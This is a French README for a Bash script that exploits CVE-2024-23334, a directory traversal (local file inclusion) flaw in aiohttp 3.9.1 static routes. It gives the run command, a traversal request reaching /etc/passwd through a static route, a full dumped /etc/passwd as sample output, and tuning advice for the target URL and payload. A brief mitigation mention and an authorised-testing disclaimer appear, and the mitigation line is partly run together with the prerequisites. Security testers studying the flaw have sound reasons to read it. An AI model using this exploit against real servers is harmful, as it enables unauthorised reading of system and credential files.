
Script Bash pour automatiser les attaques d'inclusion locale de fichiers (LFI) sur le serveur aiohttp version 3.9.1.
Un script Bash pour automatiser les attaques d'inclusion locale de fichiers (LFI) sur les serveurs aiohttp vulnérables, ciblant spécifiquement la CVE-2024-23334. Cet exploit permet un accès non autorisé à des fichiers arbitraires sur les systèmes exécutant des versions affectées d'aiohttp avec des routes statiques mal configurées.
La vulnérabilité CVE-2024-23334 affecte le framework HTTP asynchrone client/serveur aiohttp pour Python et asyncio. Elle survient lorsque aiohttp est utilisé comme serveur web avec des routes statiques, ce qui peut créer des vulnérabilités de traversée de répertoire en cas de mauvaise configuration. Cela permet à un attaquant d'accéder à des fichiers arbitraires du système sans autorisation.
Mesures d'atténuation pour cette vulnérabilité :
follow_symlinks dans la configuration du serveur.curl : Assurez-vous que curl est installé sur votre système, car il est utilisé pour effectuer les requêtes HTTP.Pour exécuter le script, lancez la commande suivante :
./lfi_aiohttp.sh -f /path/to/file/to/dump
Si tout se passe bien, vous devriez voir un résultat similaire à :
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
Important : Les variables
main_urletpayloaddu script peuvent nécessiter un ajustement en fonction de l'environnement cible.
main_url : Cette variable doit être définie sur l'URL du serveur aiohttp cible (par exemple, http://localhost:8080). Modifiez-la selon l'adresse réelle du serveur que vous testez.payload : Cette variable représente la route des fichiers statiques sur le serveur (par exemple, /assets/). Assurez-vous que ce chemin correspond à la configuration du répertoire des fichiers statiques du serveur cible.Avant d'exécuter le script, vérifiez ces variables pour vous assurer qu'elles sont correctement configurées pour votre scénario de test. Des paramètres incorrects peuvent entraîner des échecs d'accès aux fichiers ou un comportement inattendu.
Ce script est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. Toute utilisation non autorisée de ce script est interdite et peut être illégale.